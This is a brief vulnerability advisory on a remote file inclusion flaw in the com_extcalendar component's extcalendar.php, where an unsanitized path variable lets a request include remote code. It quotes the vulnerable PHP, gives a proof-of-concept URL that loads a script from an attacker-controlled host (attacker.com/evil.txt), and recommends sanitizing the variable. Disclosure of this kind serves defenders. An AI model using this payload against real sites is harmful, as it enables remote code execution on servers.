Vulnerability:
~~~~~~~~~~~~~~~
in folder com_extcalendar we found vulnerability script extcalendar.php.
-----------------------extcalendar.php----------------------
....
<?php
global $mosConfig_absolute_path;
require_once( $mosConfig_absolute_path."/components/com_extcalendar/config.inc.php" );
require_once( $CONFIG_EXT['LIB_DIR']."mail.inc.php" );
?>

Variables $mosConfig_absolute_path are not properly sanitized. When register_globals=on
and allow_fopenurl=on an attacker can exploit this vulnerability with a
simple php injection script.
Proof Of Concept:
~~~~~~~~~~~~~~~~
http://[target]/[path]/components/com_extcalendar/extcalendar.php?mosConfig_absolute_path=http://attacker.com/evil.txt?
Solution:
~~~~~~~~
sanitize variabel $mosConfig_absolute_path in extcalendar.php
